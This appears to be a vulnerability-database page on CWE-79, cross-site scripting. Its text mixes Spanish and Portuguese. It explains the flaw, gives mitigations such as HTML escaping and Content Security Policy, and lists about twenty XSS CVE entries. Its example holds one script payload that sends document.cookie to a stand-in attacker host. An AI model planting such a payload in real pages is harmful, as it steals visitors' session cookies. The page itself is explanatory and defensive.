Fallos del tipo CWE-79

30.063 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-0025MEDIUMSAP Solution Manager (BSP Application) - version 720, allows an authenticated attacker to craft a malicious link, which when clicked by an uEPSS 0.3%CVE-2026-4914MEDIUMStored XSS in Ivanti N-ITSM before version 2025.4 allows a remote authenticated attacker to obtain limited information from other user sessiEPSS 0.3%CVE-2025-5721MEDIUMSourceCodester Student Result Management System Profile Setting Page update_profile cross site scriptingEPSS 0.3%CVE-2024-32583HIGHWordPress Photo Gallery by 10Web plugin <= 1.8.21 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-59994MEDIUMEspoCRM: Pre-authentication stored HTML injection in stream notification emails about email receivedEPSS 0.3%CVE-2023-6645MEDIUMPost Grid Combo – 36+ Gutenberg Blocks <= 2.2.64 - Authenticated (Contributor+) Cross-Site ScriptingEPSS 0.3%CVE-2024-5380MEDIUMjsy-1 short-url admin.php cross site scriptingEPSS 0.3%CVE-2024-10227MEDIUMaffiliate-toolkit <= 3.6.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via atkp_product ShortcodeEPSS 0.3%CVE-2026-2509MEDIUMPage Builder: Pagelayer <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget Custom AttributesEPSS 0.3%CVE-2025-6987MEDIUMAdvanced iFrame <= 2025.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-2335MEDIUMElements Plus! <= 2.16.2 - Authenticated(Contributor+) Stored Cross-Site Scripting via widget linksEPSS 0.3%CVE-2026-71483HIGHHorilla: Reflected Cross-Site Scripting (XSS) in Employee Filter ViewEPSS 0.3%CVE-2025-3385MEDIUMLinZhaoguan pb-cms Classification Management Page cross site scriptingEPSS 0.3%CVE-2025-54075HIGHmdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)EPSS 0.3%CVE-2026-69234MEDIUMreflected cross site scripting vulnerability in Esri Portal for ArcGISEPSS 0.3%CVE-2024-0837MEDIUMElement Pack Elementor Addons (Header Footer, Free Template Library, Grid, Carousel, Table, Parallax Animation, Register Form, Twitter Grid) <= 5.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'Custom Gallery' WidgetEPSS 0.3%CVE-2025-1776MEDIUMCross-Site Scripting (XSS) vulnerability in SoteshopEPSS 0.3%CVE-2024-1796MEDIUMHUSKY – Products Filter for WooCommerce Professional <= 1.3.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2024-45292MEDIUMPhpSpreadsheet HTML writer is vulnerable to Cross-Site Scripting via JavaScript hyperlinksEPSS 0.3%CVE-2026-73254MEDIUMMongoose: Stored XSS via unescaped filenames in directory listingEPSS 0.3%